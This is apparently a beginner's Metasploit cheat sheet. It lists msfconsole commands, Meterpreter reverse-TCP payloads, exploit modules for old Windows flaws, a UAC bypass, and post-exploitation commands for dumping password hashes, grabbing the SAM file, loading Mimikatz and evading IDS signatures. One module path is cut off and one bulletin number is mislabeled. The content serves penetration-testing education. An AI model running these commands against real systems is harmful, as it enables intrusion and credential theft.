Metasploit Commands and Meterpreter Payloads – Metasploit for Beginners

metasploit commands - metasploit for beginners

Metasploit one of the most favorite tool for hacker and pentesters, was developed by H.D. Moore in Perl which later in 2007 was revised in Ruby completely. After it’s high success and demand to security researchers and pen-testers, in 2009, Rapid7 a security company announced that they acquired the Metasploit and now it’s on-board to Rapid7. Learn metasploit commands in this metasploit for beginners guide.

Metasploit is a complete tool-set for penetration testers as it has all the pen-testing tools for breaking into a remote system and web applications. It’s the most advanced and powered tool for security research. It’s a large framework that each module have tons of actions. To make it easier for new users, we here listed some of the most used metasploit commands meterpreter payloads that you can practice and perform.

Metasploit for Beginners

There’s three types of Metasploit commands.

  1. Basic commands (These are the basic operation commands like search, help, info and exit.)
  2. Exploit commands (Exploit commands are the ones used to check out all the exploit options, payloads and targets.)
  3. Exploit execution commands (These are post exploit commands that exploits and execute different operations on a target machine.)

All the most commonly used and Metasploit Basic, Exploit and Exploit Execuation commands for beginners to learn are:

  • First of all is the command to update Metasploit framework to it’s latest version.
apt update; apt install metasploit-framework
  • It’s a help command to know about msfconsole and check out it’s all options and commands.
  • Metasploit search command is for searching exploits and vulnerabilities from msfconsole.
  • To display all the options of a payload to attack a target machine.
show options
  • This command is use to check and set listening IP and PORT of the HOST machine to set a statick IP and port forwarding to any specified port.
  • This command is used to list all the payloads for an exploit.
show payloads
  • To list down all the vulnerable operating systems to a specified exploit.
show targets
  • To show advanced options and commands for exploit.
show advanced
  • Show encoders command returns all the encoders. Encoders used for evading simple IDS/IPS signatures that are looking for certain bytes of your payload.
show encoders
  • This command will give a list of Nop generators. It is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP.
show nops

Metasploit Commands, Meterpreter Payloads

Windows reverse meterpreter payload

Command Description
set payload windows/meterpreter/reverse_tcp Reverse TCP Windows Payload

Android reverse meterpreter payload

Command Description
set payload android/meterpreter/reverse_tcp Reverse TCP Android Payload

Windows VNC Meterpreter payload

Command Description
set payload windows/vncinject/reverse_tcpset ViewOnly false Reverse TCP Windows VNC Payload

Linux Reverse Meterpreter payload

Command Description
set payload linux/meterpreter/reverse_tcp Reverse TCP Linux Payload

Meterpreter Commands

All most useful and commonly used meterpreter commands.

Command Description
upload file c:\\windows Meterpreter command for uploading file in a Windows target machine
download c:\\windows\\repair\\sam /tmp Meterpreter command for downloading file from a Windows target machine
execute -f c:\\windows\temp\exploit.exe To execute exploits on a remote target system.
execute -f cmd -c To create a new channel with cmd shell
ps Shows Meterpreter processes
shell Meterpreter get shell on the target
getsystem This meterpreter command attempts priviledge escalation the target
hashdump It dumps hashes on the target machine
portfwd add –l 3389 –p 3389 –r target Meterpreter command to do port forwarding to target machine
portfwd delete –l 3389 –p 3389 –r target Meterpreter remove port forwarding

Metasploit Exploits

Here you can find all the most commonly used metasploit exploits.

Remote Windows Metasploit Exploits

All the exploits for attacking a Windows system remotely.

Command Description
use exploit/windows/smb/ms08_067_netapi Remote Exploit for MS08_067 Windows 2k, XP, 2003
use exploit/windows/dcerpc/ms06_040_netapi Remote Exploit for MS08_040 Windows NT, 2k, XP, 2003
use exploit/windows/smb/
Remote Exploit for MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86)

Local Windows Metasploit Exploits

Exploits to work with a local machine.

Command Description
use exploit/windows/local/bypassuac UAC Bypass on Windows 7 systems

Auxilary Metasploit Modules

Command Description
use auxiliary/scanner/http/dir_scanner Metasploit scanner tool to scan HTTP directory
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS for vulnerability scanning
use auxiliary/scanner/mssql/mssql_login Metasploit Credential Scanner for MSSQL
use auxiliary/scanner/oracle/oracle_login Metasploit scanner for Oracle Login Module

Metasploit Powershell Exploits

Command Description
use exploit/multi/script/web_delivery Metasploit shell payload delivery exploit
post/windows/manage/powershell/exec_powershell Upload shell to target and run powershell
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Command Description
run post/windows/gather/win_privs Metasploit command to show privileges of the current user
use post/windows/gather/credentials/gpp This Metasploit command grabs all GPP saved passwords
load mimikatz -> wdigest Metasplit loads Mimikatz
run post/windows/gather/local_admin_search_enum Searches all the machines with administrative access

These are all the basic metasploit commands for beginners to get started with metasploit. It’s much more than this. But to go ahead, this would be a really good helping hand in the path of penetration testing.


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